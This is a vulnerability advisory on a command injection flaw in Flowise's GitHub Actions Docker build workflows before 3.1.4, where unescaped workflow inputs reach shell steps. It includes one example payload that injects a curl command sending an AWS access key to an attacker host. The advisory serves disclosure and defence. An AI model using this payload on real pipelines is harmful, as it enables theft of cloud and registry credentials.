Executive brief
Flowise is an open-source workflow automation tool that uses GitHub Actions for building Docker images. Versions before 3.1.4 contain a script injection vulnerability that allows attackers with repository write access to inject malicious shell commands through workflow inputs. An attacker can exploit this to steal sensitive credentials like AWS access keys and Docker Hub tokens, potentially compromising cloud infrastructure and container registries.
Technical details
The vulnerability is an OS command injection (CWE-78) affecting multiple Docker image build workflows (docker-image-dockerhub.yml, docker-image-ecr.yml, and related workflows) where workflow_dispatch inputs (tag_version, node_version, registry, image_type) are directly interpolated into shell run blocks using ${{ }} syntax without proper escaping. GitHub Actions expands the ${{ }} template variables before passing them to the shell, allowing shell metacharacters in the input to break out of the intended context and execute arbitrary commands. An attacker with repository write access can trigger the workflow and inject commands like `latest"; curl https://attacker.com?k=$AWS_ACCESS_KEY_ID; echo "` to exfiltrate AWS credentials, Docker Hub tokens, and AWS OIDC IAM roles. The fix involves passing inputs through environment variables instead of direct template interpolation. Patched in version 3.1.4.
Affected products
- FlowiseAI Flowise before 3.1.4
Timeline
- 2026-08-31: disclosed: GitHub Security Advisory GHSA-jrcq-qjw5-xx5q published
- 2026-09-15: advisory: CVE-2026-91936 assigned and published on NVD